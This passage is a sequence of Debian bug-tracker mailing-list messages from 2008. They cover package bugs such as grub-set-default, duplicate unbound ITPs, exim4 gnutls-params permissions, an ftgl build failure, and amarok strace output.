Package: grub-pc Version: 1.96+20080512-1 Severity: normal grub-set-default no longer has any effect, it does write /boot/grub/default, but that file is ignored by /usr/sbin/update-grub, which instead reads defaults from /etc/default/grub. -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (990, 'unstable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.24-1-686 (SMP w/2 CPU cores) Locale: LANG=POSIX, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages grub-pc depends on: ii debconf [debconf-2.0]1.5.22 Debian configuration management sy ii grub-common 1.96+20080512-1 GRand Unified Bootloader, version ii libc62.7-11 GNU C Library: Shared libraries ii liblzo2-22.03-1 data compression library ii libncurses5 5.6+20080503-1 Shared libraries for terminal hand grub-pc recommends no packages. -- debconf information excluded -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#439776: Examples from cueprint manpage don't work
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hello Martin, could you still reproduce this bug with the version in lenny/sid? I don't have a powerpc box to test it. - -- Mit freundlichem Gruß / With kind regards, Patrick Matthäi E-Mail: [EMAIL PROTECTED] -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) iD8DBQFINVOi2XA5inpabMcRAjYWAJ0RseDwvSIBjQnudzzZvfopR4si+gCfc50F oMj5ZJ7TljghcIQVpMZMx90= =Gk7+ -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482328: RM: libghc6-hdbc-sqlite3-dev et. al. [hppa] -- ROM; Blocks ghc6 transition
Hi, Am Donnerstag, den 22.05.2008, 10:10 +0200 schrieb Thomas Viehmann: - please use source packages in the title and - one bug per package, thx, I’ll remember next time. - there are more build failures in hpodder... I'll use this bug for hdbc-sqlite3 [hppa], please file another bug about hpodder. Which makes me wonder whether we actually have to remove the hppa hpodder binary. It seems that hpodder won’t migrate with ghc6, but it’s also not blocking it (no binary dependencies on haskell stuff). So unless I find out that the removal is necessary, it’ll just be this bug. Thanks, Joachim -- Joachim nomeata Breitner Debian Developer [EMAIL PROTECTED] | ICQ# 74513189 | GPG-Keyid: 4743206C JID: [EMAIL PROTECTED] | http://people.debian.org/~nomeata signature.asc Description: Dies ist ein digital signierter Nachrichtenteil
Bug#399517: cuetools bugs = still reproduceable?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hello, while your bug reports are done with older versions and many changes have been made I wanted to ask, if you still could reproduce these bugs? Thanks in advance. - -- Mit freundlichem Gruß / With kind regards, Patrick Matthäi E-Mail: [EMAIL PROTECTED] -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) iD8DBQFINVSw2XA5inpabMcRAkz8AJwLNAuZFmZ4mlLHnXMeCjIcU5ujTACeP0bk LW2lybQlpI+OPbtYk8TsLho= =2Kqh -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482389: route.8.gz: incorrect description for irtt
Package: net-tools Version: 1.60-19 Severity: minor route(8) says: irtt I set the initial round trip time (irtt) for TCP connections over this route to I milliseconds (1-12000). This is typically only used on AX.25 networks. If omitted the RFC 1122 default of 300ms is used. RFC 1122 default initial RTT is 0. It's the initial RTO (retransmission timeout) that is 3000ms (not 300), which is achieved by setting rttvar accordingly (if I understand correctly). I'm not aware of the 12000 limit. The TCP rto_max is 120 seconds (12). I'm under the impression that values of rtt under 3s are ignored at least with the 2.6.24.2 kernel, so the range could be (3000-12). I'm not sure what the AX.25 refers to. -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable') Architecture: i386 (i686) Kernel: Linux 2.6.25-rc8 (PREEMPT) Locale: LANG=en_GB.ISO-8859-15, LC_CTYPE=en_US.ISO-8859-15 (charmap=ISO-8859-15) Shell: /bin/sh linked to /bin/bash Versions of packages net-tools depends on: ii libc6 2.7-11 GNU C Library: Shared libraries net-tools recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482351: ess: ess-eldoc is not compiled so cannot be require'd normally
On Thu, May 22, 2008 at 10:34:32AM +0100, Stephen Eglen wrote: Not all lisp files in /usr/share/emacs/site-lisp/ess/ have their compiled counterparts in /usr/share/emacs-snapshot/site-lisp/ess/, which is symlinked from /usr/share/emacs/23.0.60/site-lisp. One of these is ess-eldoc, so the only way to `require' it is, say, as: (add-hook 'inferior-ess-mode-hook (lambda () (require 'ess-eldoc /usr/share/emacs/site-lisp/ess/ess-eldoc.el))) Thanks for this Sebastian. I think when I added ess-eldoc.el, I didn't add it to the Makefile so that it would be compiled. I've changed the lisp/Makefile to correct this in ESS SVN. Great! (Dirk, how do we close off the bug report?) By making a new upload with a (Closes: #12345) entry in debian/changelog. I'll update the SVN and carry the Makefile change into a 5.3.8~svn3895-2 revisions. Or equivalently, I could make a new 5.3.8~r389x-1 with whatever value x now has. I'll take care of it. Dirk -- Three out of two people have difficulties with fractions. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#449148: More regular root hints updates
* Ondřej Surý: Indeed. As far as I know, there is no contractual framework whatsoever covering performance, security, or privacy. I guess that especially with older root servers it may not be the case, but I am pretty sure that there are contracts between ICANN and some root server operators (at least with RIPE, WIDE, Autonomica, ISC, Verisign). This was my expectation as well--but I couldn't find any such documents. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#351373: tempfile should honor TMPDIR=1
tag 351373 fixed-upstream thanks On Sat, Feb 04, 2006 at 03:02:23PM +0100, Martin Schulze wrote: Package: perl-modules Version: 5.8.7-10 Severity: wishlist The function tempfile() does not behave like tempdir() when this is what the user expects. In detail, according to the documentation TMPDIR = 1 is honoured by tempdir() and since other optional arguments are the same for tempfile() and since it seems logical to have tempfile() create a temporary file in the common temporary directory, people expect TMPDIR = 1 to work with tempfile() as well. This is fixed in File-Temp 0.19, but the version bundled with Perl 5.10.0 is 0.18. The separate libfile-temp-perl package is at 0.20 and contains the fix. -- Niko Tyni [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482390: ITP: unbound -- Validating, recursive, and caching DNS resolver.
Package: wnpp Severity: wishlist Owner: Pierre Habouzit [EMAIL PROTECTED] * Package name: unbound Version : 1.0.0 Upstream Author : NLnet Labs http://www.nlnetlabs.nl/ * URL : http://unbound.net/ * License : BSD Programming Lang: (C, C++, C#, Perl, Python, etc.) Description : Validating, recursive, and caching DNS resolver. Unbound is designed as a set of modular components, so that also DNSSEC (secure DNS) validation and stub-resolvers (that do not run as a server, but are linked into an application) are easily possible. Note: this is _NOT_ the final description that will be used in the packaging, no need to answer to tell me it sucks, I'm aware of it :) I merely cutpasted one § of the upstream homepage. -- ·O· Pierre Habouzit ··O[EMAIL PROTECTED] OOOhttp://www.madism.org -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482060: rails 2.0.2-2 bug: Rails should depends on Gem and then install rails as gem package then install rails as gem package
Hello .. Then why are you filing a bug in Debian if this is for gems? Gems are packaged *outside* Debian. You can just install rubygems and install rails through the ruby gem packages, directly from upstream. - Adam Majer Yes, I can. But in that case why do we need rails debian package. If we has it it should follow normal work flow and use gems. Why? I don't want to use 2 package management tools - only apt-get is enough for me. Same for me. I just want that Debian rails package installs Rails using gem. It will give more flexibily because: 1) ruby extensions should be installed thru Gem many ruby tools use gem to detect what is installed and they will suggest that you don't have rails 2) you probably will use another extensions .. and they can depend on rails that according to gem is not installed And that's all about open source: I like rails Debian package, so I use it. I want use it too but I can't thank you .. -- Vasiliy Kiryanov -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#449148: More regular root hints updates
Florian Weimer píše v Čt 22. 05. 2008 v 12:36 +0200: * Thijs Kinkhorst: Should this _really_ rely on the goodwill of the people who at any moment in time manages the IP address? It's very important to note here that the goodwill of people that manage the current IP addresses, connectivity or housing of any active root nameserver is equally relied upon. Indeed. As far as I know, there is no contractual framework whatsoever covering performance, security, or privacy. I guess that especially with older root servers it may not be the case, but I am pretty sure that there are contracts between ICANN and some root server operators (at least with RIPE, WIDE, Autonomica, ISC, Verisign). If this turns out to be a problem, we need to ship a signed copy of the root zone, together with an appropriate update mechanism, effectively eliminating our reliance on the root servers. We should only do this if there is indeed no other way to cope with the situation. And after root is signed (DNSSEC - testbed at IANA[1]) we will need mechanism how to update root zone keys. Ondrej 1. https://ns.iana.org/dnssec/status.html -- Ondřej Surý [EMAIL PROTECTED] *** http://blog.rfc1925.org/ Kulturní občasník *** http://www.obcasnik.cz/ Nehoupat, prosím *** http://nehoupat.blogspot.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482277: ITP: unbound -- validating, recursive, caching DNS resolver
On Wed, May 21, 2008 at 02:58:04PM +, Robert Edmonds wrote:
Package: wnpp
Owner: Robert S. Edmonds [EMAIL PROTECTED]
Severity: wishlist
* Package name: unbound
Version : 1.0.0
Upstream Author : NLnet Labs
* URL : http://libev.schmorp.de/
* License : BSD
Programming Lang: C
Description : validating, recursive, caching DNS resolver
Unbound is a validating, recursive, and caching DNS resolver.
.
The C implementation of Unbound is developed and maintained by NLnet
Labs. It is based on ideas and algorithms taken from a java prototype
developed by Verisign labs, Nominet, Kirei and ep.net.
.
Unbound is designed as a set of modular components, so that also DNSSEC
(secure DNS) validation and stub-resolvers (that do not run as a
server, but are linked into an application) are easily possible.
--
Robert Edmonds
[EMAIL PROTECTED]
Err I missed that and I happened to just file the same ITP. I'm
already packaging nsd3 from the same authors FWIW, and am really
interested into {co-,}maintaining unbound.
Cheers,
--
·O· Pierre Habouzit
··O[EMAIL PROTECTED]
OOOhttp://www.madism.org
pgpdB1qZ6EdGV.pgp
Description: PGP signature
Bug#482390: ITP: unbound -- Validating, recursive, and caching DNS resolver.
On Thu, May 22, 2008 at 4:47 PM, Pierre Habouzit [EMAIL PROTECTED] wrote:
Package: wnpp
* Package name: unbound
Hi,
See: #482277
:)
--
Cheers,
Kartik Mistry | 0xD1028C8D | IRC: kart_
Blogs: {ftbfs,kartikm}.wordpress.com
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#481765: marked as done (exim4-base: con.monthly recreate gnutls-params without read access)
On Thu, May 22, 2008 at 10:44:58AM +0200, Andreas Metzler wrote: I think there really is bug here, /var/spool/exim4/gnutls-params should not generate its output with root:root 600 but either root:Debian-exim 640 (if it contains sensible data) or 644 root:root if not. That one was fixed in 4.69-5. Greetings Marc -- - Marc Haber | I don't trust Computers. They | Mailadresse im Header Mannheim, Germany | lose things.Winona Ryder | Fon: *49 621 72739834 Nordisch by Nature | How to make an American Quilt | Fax: *49 3221 2323190 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482390: ITP: unbound -- Validating, recursive, and caching DNS resolver.
On Thu, May 22, 2008 at 01:17:29PM +0200, Pierre Habouzit [EMAIL PROTECTED] wrote: Package: wnpp Severity: wishlist Owner: Pierre Habouzit [EMAIL PROTECTED] * Package name: unbound Version : 1.0.0 Upstream Author : NLnet Labs http://www.nlnetlabs.nl/ * URL : http://unbound.net/ * License : BSD Programming Lang: (C, C++, C#, Perl, Python, etc.) Description : Validating, recursive, and caching DNS resolver. Unbound is designed as a set of modular components, so that also DNSSEC (secure DNS) validation and stub-resolvers (that do not run as a server, but are linked into an application) are easily possible. Note: this is _NOT_ the final description that will be used in the packaging, no need to answer to tell me it sucks, I'm aware of it :) I merely cutpasted one § of the upstream homepage. You're late, already. #482277. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482390: ITP: unbound -- Validating, recursive, and caching DNS resolver.
Already filed as Bug#482277. -- Loïc Minier -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#481575: courier: FTBFS in pbuilder
Christian Perrier wrote: Quoting Stefan Hornburg ([EMAIL PROTECTED]): Works without a hitch. I'll upload your changes today if you can send me a patch for the NMU. Here it is. OK, the patch to pcp/configure.in is probably causing the problems. I'll back it out. Regards Racke -- LinuXia Systems = http://www.linuxia.de/ Expert Interchange Consulting and System Administration ICDEVGROUP = http://www.icdevgroup.org/ Interchange Development Team -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482391: ftgl_2.1.3~rc3-2(sparc/experimental): FTBFS: *** [refman.pdf] Error 70
Package: ftgl Version: 2.1.3~rc3-2 Severity: serious Hi, your package failed to build from source. | Automatic build of ftgl_2.1.3~rc3-2 on njoerd by sbuild/sparc 98-farm | Build started at 20080513-0535 | ** | Checking available source versions... | Fetching source files... | Reading package lists... | Building dependency tree... | Need to get 796kB of source archives. | Get:1 http://sinclair.farm.ftbfs.de experimental/main ftgl 2.1.3~rc3-2 (dsc) [1396B] | Get:2 http://sinclair.farm.ftbfs.de experimental/main ftgl 2.1.3~rc3-2 (tar) [791kB] | Get:3 http://sinclair.farm.ftbfs.de experimental/main ftgl 2.1.3~rc3-2 (diff) [4265B] | Fetched 796kB in 0s (3914kB/s) | Download complete and in download only mode | ** Using build dependencies supplied by package: | Build-Depends: debhelper (= 5.0), quilt, libgl1-mesa-dev | libgl-dev, libglu1-mesa-dev | libglu-dev, libfreetype6-dev ( 2.0.9), doxygen, freeglut3-dev, libcppunit-dev, imagemagick, texlive-latex-base, texlive-base-bin, texlive-extra-utils, texlive-latex-recommended, texlive-fonts-recommended, ghostscript | Checking for already installed source dependencies... [...] | /usr/bin/doxygen doxygen.cfg stamp-eps | Error: Problems running epstopdf. Check your TeX installation! | Error: Problems running epstopdf. Check your TeX installation! | Error: Problems running epstopdf. Check your TeX installation! | Error: Problems running epstopdf. Check your TeX installation! | Error: Problems running epstopdf. Check your TeX installation! | Error: Problems running epstopdf. Check your TeX installation! | Error: Problems running epstopdf. Check your TeX installation! | Error: Problems running epstopdf. Check your TeX installation! | Error: Problems running epstopdf. Check your TeX installation! | Error: Problems running epstopdf. Check your TeX installation! | Searching for include files... | Searching for example files... | Searching for images... | Searching for files in directory /build/buildd/ftgl-2.1.3~rc3/docs/images | Searching for dot files... | Searching for files to exclude | Searching for files to process... | Searching for files in directory /build/buildd/ftgl-2.1.3~rc3/src/FTGL | Searching for files in directory /build/buildd/ftgl-2.1.3~rc3/docs | Reading and parsing tag files | Preprocessing /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTBBox.h... | Parsing file /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTBBox.h... | Preprocessing /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTBitmapGlyph.h... | Parsing file /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTBitmapGlyph.h... | Preprocessing /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTExtrdGlyph.h... | Parsing file /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTExtrdGlyph.h... | Preprocessing /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTFont.h... | Parsing file /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTFont.h... | Preprocessing /build/buildd/ftgl-2.1.3~rc3/src/FTGL/ftgl.h... | Parsing file /build/buildd/ftgl-2.1.3~rc3/src/FTGL/ftgl.h... | Preprocessing /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTGLBitmapFont.h... | Parsing file /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTGLBitmapFont.h... | Preprocessing /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTGLExtrdFont.h... | Parsing file /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTGLExtrdFont.h... | Preprocessing /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTGLOutlineFont.h... | Parsing file /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTGLOutlineFont.h... | Preprocessing /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTGLPixmapFont.h... | Parsing file /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTGLPixmapFont.h... | Preprocessing /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTGLPolygonFont.h... | Parsing file /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTGLPolygonFont.h... | Preprocessing /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTGLTextureFont.h... | Parsing file /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTGLTextureFont.h... | Preprocessing /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTGlyph.h... | Parsing file /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTGlyph.h... | Preprocessing /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTLayout.h... | Parsing file /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTLayout.h... | Preprocessing /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTOutlineGlyph.h... | Parsing file /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTOutlineGlyph.h... | Preprocessing /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTPixmapGlyph.h... | Parsing file /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTPixmapGlyph.h... | Preprocessing /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTPoint.h... | Parsing file /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTPoint.h... | Preprocessing /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTPolyGlyph.h... | Parsing file /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTPolyGlyph.h... | Preprocessing /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTSimpleLayout.h... | Parsing file /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTSimpleLayout.h... | Preprocessing /build/buildd/ftgl-2.1.3~rc3/src/FTGL/FTTextureGlyph.h... | Parsing file
Bug#230308: Bug#482044: Please restart spamd on perl upgrades.
On Thu, 22 May 2008, Niko Tyni wrote: I was thinking of the perl postinst activating an explicit trigger (with dpkg-trigger) on major upgrades, so spamassassin and any other daemons that need a restart could act on that. Could you please elaborate a bit on why this is broken or unnecessary hand-holding? There's only one package at the receiving end of a trigger IIRC. So while it's true that you can manually activate a trigger, there's no way that multiple packages will be informed of the upgrade through this mecanism. IMO, the only viable solution is to do something like python does. When the python interpreter is upgraded it will execute /usr/share/python/runtime.d/*.rtupdate (and *.rtinstall on initial install of a new runtime and *.rtremove on removal of a runtime... python is packaged to have multiple versions of the interpreter at the same time). You could do something similar. And then spamassassin could drop a script there and restart spamd. Cheers, -- Raphaël Hertzog Le best-seller français mis à jour pour Debian Etch : http://www.ouaza.com/livre/admin-debian/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#481765: marked as done (exim4-base: con.monthly recreate gnutls-params without read access)
On 2008-05-22 Marc Haber [EMAIL PROTECTED] wrote: On Thu, May 22, 2008 at 10:44:58AM +0200, Andreas Metzler wrote: I think there really is bug here, /var/spool/exim4/gnutls-params should not generate its output with root:root 600 but either root:Debian-exim 640 (if it contains sensible data) or 644 root:root if not. That one was fixed in 4.69-5. This bug (gnutls-params unreadable for exim daemon), was *introduced* in 4.69-5. Previously the file was 400 Debian-exim:Debian-exim, but now it is 0400 root:root. - The file mode is set by tempfile(1). - [EMAIL PROTECTED]:~/SVN/exim/trunk/debian$ svn diff svn+ssh://svn.debian.org/srv/svn.debian.org/svn/pkg-exim4/exim/tags/4.69-4/debian/exim4_refresh_gnutls-params svn+ssh://svn.debian.org/srv/svn.debian.org/s vn/pkg-exim4/exim/trunk/debian/exim4_refresh_gnutls-params Index: exim4_refresh_gnutls-params === --- exim4_refresh_gnutls-params (.../tags/4.69-4/debian/exim4_refresh_gnutls-params)(Revision 2286) +++ exim4_refresh_gnutls-params (.../trunk/debian/exim4_refresh_gnutls-params) (Revision 2286) @@ -37,8 +37,6 @@ if /usr/share/exim4/timeout.pl \ $TIMEOUT /usr/bin/certtool --generate-dh-params --bits 2048 \ $tempgnutls 2 /dev/null ; then -chown Debian-exim:Debian-exim $tempgnutls -chmod 400 $tempgnutls mv -f $tempgnutls $PARAMFILE else rm -f $tempgnutls - This would fix it: --- exim4_refresh_gnutls-params (Revision 2286) +++ exim4_refresh_gnutls-params (Arbeitskopie) @@ -37,6 +37,7 @@ if /usr/share/exim4/timeout.pl \ $TIMEOUT /usr/bin/certtool --generate-dh-params --bits 2048 \ $tempgnutls 2 /dev/null ; then +chmod 644 $tempgnutls mv -f $tempgnutls $PARAMFILE else rm -f $tempgnutls cu andreas -- `What a good friend you are to him, Dr. Maturin. His other friends are so grateful to you.' `I sew his ears on from time to time, sure' -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#482392: synce-kde: Icon does not appear (raki applet in system-tray) after starting raki
Package: synce-kde Version: 0.9.1-1 Severity: normal If I start raki (from commandline or menu), the icon does not appear in the kicker. The program is running (checked via ps). How can I debug this behaviour further? -- System Information: Debian Release: 4.0 APT prefers stable APT policy: (500, 'stable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.18-6-686 Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8) Versions of packages synce-kde depends on: ii agsync0.2-pre-9 Synchronization mediator for Avant ii kdelibs4c2a 4:3.5.5a.dfsg.1-8etch1 core libraries and binaries for al ii libacl1 2.2.41-1 Access control list shared library ii libart-2.0-2 2.3.17-1 Library of functions for 2D graphi ii libattr1 2.4.32-1 Extended attribute shared library ii libaudio2 1.8-4 The Network Audio System (NAS). (s ii libc6 2.3.6.ds1-13etch5 GNU C Library: Shared libraries ii libdynamite0 0.1-4.1libraries for PKWARE Data Compress ii libfam0 2.7.0-12 Client library to control the FAM ii libfontconfig12.4.2-1.2 generic font configuration library ii libfreetype6 2.2.1-5+etch2 FreeType 2 font engine, shared lib ii libgcc1 1:4.1.1-21 GCC support library ii libice6 1:1.0.1-2 X11 Inter-Client Exchange library ii libidn11 0.6.5-1GNU libidn library, implementation ii libjpeg62 6b-13 The Independent JPEG Group's JPEG ii libmimedir0 0.4-4 A library to parse RFC 2425 Direct ii liborange00.3-2 library to extracts CAB files from ii libpng12-01.2.15~beta5-1 PNG library - runtime ii libqt3-mt 3:3.3.7-4etch1 Qt GUI Library (Threaded runtime v ii librapi2 0.9.3-3Make RAPI calls to a WinCE device, ii librra0 0.9.1-1Library to deal with synchronisati ii libsm61:1.0.1-3 X11 Session Management library ii libstdc++64.1.1-21 The GNU Standard C++ Library v3 ii libsynce0 0.9.3-1A helper library for synce, a tool ii libunshield0 0.5-3 library to extracts CAB files from ii libx11-6 2:1.0.3-7 X11 client-side library ii libxcursor1 1.1.7-4X cursor management library ii libxext6 1:1.0.1-2 X11 miscellaneous extension librar ii libxft2 2.1.8.2-8 FreeType-based font drawing librar ii libxi61:1.0.1-4 X11 Input extension library ii libxinerama1 1:1.0.1-4.1X11 Xinerama extension library ii libxrandr22:1.1.0.2-5X11 RandR extension library ii libxrender1 1:0.9.1-3 X Rendering Extension client libra ii libxt61:1.0.2-2 X11 toolkit intrinsics library ii zlib1g1:1.2.3-13 compression library - runtime synce-kde recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#480211: strace amarok
Package: amarok
Version: 1.4.9.1-2
Followup-For: Bug #480211
I have the same problem over here, approx. 60 seconds, high load, no scripts
running except the default.
I did a 'strace amarok' which generates a hugh load of output as amarok
seems to call the same functions over and over again a few times a second.
I'll paste the lines towards the end of the output. You need to repeat the
first few lines approx 10.000 times to get the actual number:
gettimeofday({1211458442, 463767}, NULL) = 0
select(14, [3 4 5 12 13], [], [], {0, 8260}) = 0 (Timeout)
gettimeofday({1211458442, 479530}, NULL) = 0
waitpid(5547, 0xbfbb9308, WNOHANG) = 0
ioctl(5, FIONREAD, [0]) = 0
ioctl(3, FIONREAD, [0]) = 0
gettimeofday({1211458442, 480146}, NULL) = 0
select(14, [3 4 5 12 13], [], [], {0, 1881}) = 0 (Timeout)
gettimeofday({1211458442, 483290}, NULL) = 0
waitpid(5547, 0xbfbb9308, WNOHANG) = 0
ioctl(5, FIONREAD, [0]) = 0
ioctl(3, FIONREAD, [0]) = 0
gettimeofday({1211458442, 483883}, NULL) = 0
select(14, [3 4 5 12 13], [], [], {0, 8144}) = 0 (Timeout)
gettimeofday({1211458442, 499485}, NULL) = 0
waitpid(5547, 0xbfbb9308, WNOHANG) = 0
ioctl(5, FIONREAD, [0]) = 0
ioctl(3, FIONREAD, [0]) = 0
gettimeofday({1211458442, 500099}, NULL) = 0
select(14, [3 4 5 12 13], [], [], {0, 1928}) = 0 (Timeout)
gettimeofday({1211458442, 503381}, NULL) = 0
waitpid(5547, 0xbfbb9308, WNOHANG) = 0
ioctl(5, FIONREAD, [0]) = 0
ioctl(3, FIONREAD, [0]) = 0
gettimeofday({1211458442, 503996}, NULL) = 0
select(14, [3 4 5 12 13], [], [], {0, 8031}) = 0 (Timeout)
gettimeofday({1211458442, 519457}, NULL) = 0
waitpid(5547, 0xbfbb9308, WNOHANG) = 0
ioctl(5, FIONREAD, [0]) = 0
ioctl(3, FIONREAD, [0]) = 0
gettimeofday({1211458442, 520076}, NULL) = 0
select(14, [3 4 5 12 13], [], [], {0, 1951}) = 0 (Timeout)
gettimeofday({1211458442, 523296}, NULL) = 0
waitpid(5547, 0xbfbb9308, WNOHANG) = 0
ioctl(5, FIONREAD, [0]) = 0
ioctl(3, FIONREAD, [0]) = 0
gettimeofday({1211458442, 523899}, NULL) = 0
select(14, [3 4 5 12 13], [], [], {0, 8128}) = 1 (in [5], left {0, 8128})
read(5, STARTUP\n, 4096) = 8
select(6, [5], NULL, NULL, {0, 0}) = 0 (Timeout)
gettimeofday({1211458442, 526327}, NULL) = 0
ioctl(3, FIONREAD, [0]) = 0
gettimeofday({1211458442, 526619}, NULL) = 0
select(14, [3 4 5 12 13], [], [], {0, 5408}) = 0 (Timeout)
gettimeofday({1211458442, 531234}, NULL) = 0
ioctl(3, FIONREAD, [0]) = 0
gettimeofday({1211458442, 531535}, NULL) = 0
select(14, [3 4 5 12 13], [], [], {0, 492}) = 0 (Timeout)
gettimeofday({1211458442, 535165}, NULL) = 0
waitpid(5547, 0xbfbb9308, WNOHANG) = 0
ioctl(5, FIONREAD, [0]) = 0
ioctl(5, FIONREAD, [0]) = 0
ioctl(5, FIONREAD, [0]) = 0
close(5)= 0
close(11) = 0
close(12) = 0
rt_sigaction(SIGCHLD, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGPIPE, {SIG_DFL}, NULL, 8) = 0
write(3, \5\2\0\0\0\240\2+\0\1\0, 12) = 12
read(3, \1\1x\0\0\0\0\0\10\0\200\2# \10\20\5\266\277(\5\266\277..., 32) =
32
shutdown(3, 2 /* send and receive */) = 0
close(3)= 0
write(4, \1\v\1\0\1\0\0\0\0\0\0\0008\22=\267, 16) = 16
close(4)= 0
exit_group(0) = ?
Process 5545 detached
-- System Information:
Debian Release: lenny/sid
APT prefers unstable
APT policy: (500, 'unstable')
Architecture: i386 (i686)
Kernel: Linux 2.6.22 (PREEMPT)
Locale: [EMAIL PROTECTED], LC_CTYPE=zh_CN.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash
Versions of packages amarok depends on:
ii amarok-common 1.4.9.1-2architecture independent files for
ii amarok-engine-xine 1.4.9.1-2Xine engine for the Amarok audio p
ii kdelibs4c2a 4:3.5.9.dfsg.1-4 core libraries and binaries for al
ii libc6 2.7-11 GNU C Library: Shared libraries
ii libgcc1 1:4.3.0-4GCC support library
ii libgl1-mesa-glx [libgl1 7.0.3-1 A free implementation of the OpenG
ii libglib2.0-02.16.3-2 The GLib library of C routines
ii libgpod30.6.0-5 a library to read and write songs
ii libifp4 1.0.0.2-3communicate with iRiver iFP audio
ii libkarma0 0.0.6-3.1Rio Karma access library [runtime
ii libmtp7 0.2.6.1-2Media Transfer Protocol (MTP) libr
ii libmysqlclient15off 5.0.51a-6MySQL database client library
ii libnjb5 2.2.5-4.2Creative Labs Nomad Jukebox librar
ii libpq5 8.3.1-2+b1 PostgreSQL C client library
ii libqt3-mt 3:3.3.8b-5 Qt GUI
Bug#482393: /usr/bin/eric4: eric4-configure segfaults at startup
